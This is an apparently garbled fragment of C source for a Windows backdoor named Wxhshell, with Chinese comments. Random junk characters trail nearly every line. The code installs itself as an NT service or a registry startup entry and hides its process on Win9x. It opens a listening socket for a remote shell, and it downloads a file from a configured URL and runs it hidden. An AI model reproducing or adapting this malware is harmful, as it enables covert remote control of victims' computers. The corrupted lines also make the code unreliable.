ULONG UniqueProcessId; wD pL9 q
ULONG InheritedFromUniqueProcessId; XPi5E"
} PROCESS_BASIC_INFORMATION; NQbgk+&wD
Es:oXA
PROCNTQSIP NtQueryInformationProcess; EF6"PH+J@
mFC9\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @G>&Gu;5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Oh1a'&
i@YM{FycX
HANDLE hProcess; &xFs0Ri(
PROCESS_BASIC_INFORMATION pbi;
OBM&N
cbx(
L8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1[?xf4EMG
if(NULL == hInst ) return 0; ARB^]
<5c^DA
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M1Th~W9l
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {`% q0Nr
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q+67Wc=
a&n}pnEn)
if (!NtQueryInformationProcess) return 0; hya
$Vp
PtKrks|y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A$J?-
if(!hProcess) return 0; v kW2&
2s`~<EF N
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n#5 pd;!n
w}(Ht_6q{
CloseHandle(hProcess); }~NWOJ3;
{0} Q5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R8u9tTW
if(hProcess==NULL) return 0; 7/c9azmC
\v.YP19
HMODULE hMod; .t%`"C
char procName[255]; <:0d%YB)
unsigned long cbNeeded; lz0'E'%{P
EK^["_*A
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u6p
nO
V34]5
CloseHandle(hProcess); EDGAaN*Q
p~t5PU*(
if(strstr(procName,"services")) return 1; // 以服务启动 +JBYGYN&K
b@N*W]
return 0; // 注册表启动 bdyE9t
} HNL;s5gq
[JX=<a)U
// 主模块 mr#XN&e
int StartWxhshell(LPSTR lpCmdLine) zJtB?<
{ ~VO?P fxZ
SOCKET wsl; :e TzjW=
BOOL val=TRUE; 'ul~f$
V
int port=0; 7`t[|o
struct sockaddr_in door; k3B]u.Lo
PqwoZo0j
if(wscfg.ws_autoins) Install(); %-, -:e
=M/($PA
port=atoi(lpCmdLine); 8` f=Eh
P'CDV3+
if(port<=0) port=wscfg.ws_port; .Vb\f
<<ifd?
WSADATA data; zE4TdT1y|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,~xX[uB
5Og=`T
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A^hFRAg4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hQDZ%>
door.sin_family = AF_INET; hXsH9R
door.sin_addr.s_addr = inet_addr("127.0.0.1"); VZ$FTM^b8
door.sin_port = htons(port); %N-f9o8
Mhj.3nN
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { km#Rh^
closesocket(wsl); oSqkAAGz\
return 1; "':u#UdS
} tm280
`!iVMTp
if(listen(wsl,2) == INVALID_SOCKET) { G~Mxh,aD$>
closesocket(wsl); 9"mcN3x:\e
return 1; LIDYKKDJ^
} hNJubTSE+)
Wxhshell(wsl); TYh_uox6
WSACleanup(); D^JuL6U
G8voqP
return 0; Rd{#cW~
j; )-K 3Ia
} =WP`i29j9}
:%vD
hMHa
// 以NT服务方式启动 $X:r&7t+Q[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /tGj`C&qtw
{ ZQPv@6+oY
DWORD status = 0; X`FFI6pb
DWORD specificError = 0xfffffff; /MQI5Djg
LZG~1tf
serviceStatus.dwServiceType = SERVICE_WIN32; #}{1>g{sXt
serviceStatus.dwCurrentState = SERVICE_START_PENDING; DU%j;`3
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6H_7M(f
serviceStatus.dwWin32ExitCode = 0; yzQ^KqLH
serviceStatus.dwServiceSpecificExitCode = 0; %?[H=v(b
serviceStatus.dwCheckPoint = 0; Yhkn(k2
serviceStatus.dwWaitHint = 0; ^l"
{:r8X
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c'r7sI%Yi
if (hServiceStatusHandle==0) return; qdeS*rp\
!@[@xdV
status = GetLastError(); w-.=u3
if (status!=NO_ERROR) m"Y|xvIA
{ BJi
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2K1odqO#
serviceStatus.dwCheckPoint = 0; H6PS7g"
serviceStatus.dwWaitHint = 0; .U:D uyT
serviceStatus.dwWin32ExitCode = status; #RwqEZ
serviceStatus.dwServiceSpecificExitCode = specificError; OAiip,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g0BJj=
return; s&7,gWy}BE
} =5sUpPV(
j3`"9bY
serviceStatus.dwCurrentState = SERVICE_RUNNING; !(EJ. |LH
serviceStatus.dwCheckPoint = 0; #YMU}4=:
serviceStatus.dwWaitHint = 0; N6BFs(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |
Djgm7$*
} dkRG4
)~g
:b_R1ZV|
// 处理NT服务事件,比如:启动、停止 KvrcO#-sL
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^SouA[
{ 1Gojuey
switch(fdwControl) #D-L>7,jA
{ qs]7S^yw
case SERVICE_CONTROL_STOP: $`&uu
serviceStatus.dwWin32ExitCode = 0; }.UE<>OX
serviceStatus.dwCurrentState = SERVICE_STOPPED; iX{Lc+u3
serviceStatus.dwCheckPoint = 0; _DK%-,Spu
serviceStatus.dwWaitHint = 0; f;;(Q-.
{ 3K57xJzK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'y?(s+
} 8[|RsM
return; )./%/
_*K
case SERVICE_CONTROL_PAUSE: i2EXE0;
serviceStatus.dwCurrentState = SERVICE_PAUSED; xN +j]LC
break; dm&vLQVS
case SERVICE_CONTROL_CONTINUE: 7]~65@%R-&
serviceStatus.dwCurrentState = SERVICE_RUNNING; .WR+)^&zz
break; 5)MVkJ=R
case SERVICE_CONTROL_INTERROGATE: *y;(c)_w/%
break; 3d2|vQx,K
}; IwHYuOED]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gn*vVZ@`x
} "Oh(&N:U
iS{8cN3R
// 标准应用程序主函数 tC=`J%Ik
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D:gskK+o6M
{ ,
LP |M:
*$ihNX]YG
// 获取操作系统版本 ?{"_9g9
OsIsNt=GetOsVer(); #*[G,s#t^
GetModuleFileName(NULL,ExeFile,MAX_PATH); :Q\{LB c
rN'')n/F
// 从命令行安装 _O-ZII~
if(strpbrk(lpCmdLine,"iI")) Install(); Er6'Ig|U
hYS*J908
// 下载执行文件 oD]riA>jC
if(wscfg.ws_downexe) { ]KS|r+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i$Q$y
hT{
WinExec(wscfg.ws_filenam,SW_HIDE); 2U-F}Z
} { L(Q|bB
Q_bF^4gt
if(!OsIsNt) { Dwq }O
// 如果时win9x,隐藏进程并且设置为注册表启动 e)[>E\u _
HideProc(); j z aC
StartWxhshell(lpCmdLine); V(%L}0[]
} v}v! hs Q
else KMxP%dV/=
if(StartFromService()) "YUyM5X
// 以服务方式启动 IQFt4{aK3
StartServiceCtrlDispatcher(DispatchTable); j7vp@l6`L
else L+}q !'8S
// 普通方式启动 ^&'&Y>
StartWxhshell(lpCmdLine); )vFJx[a<n`
wj fk >
return 0; jrMY]Ea2`
}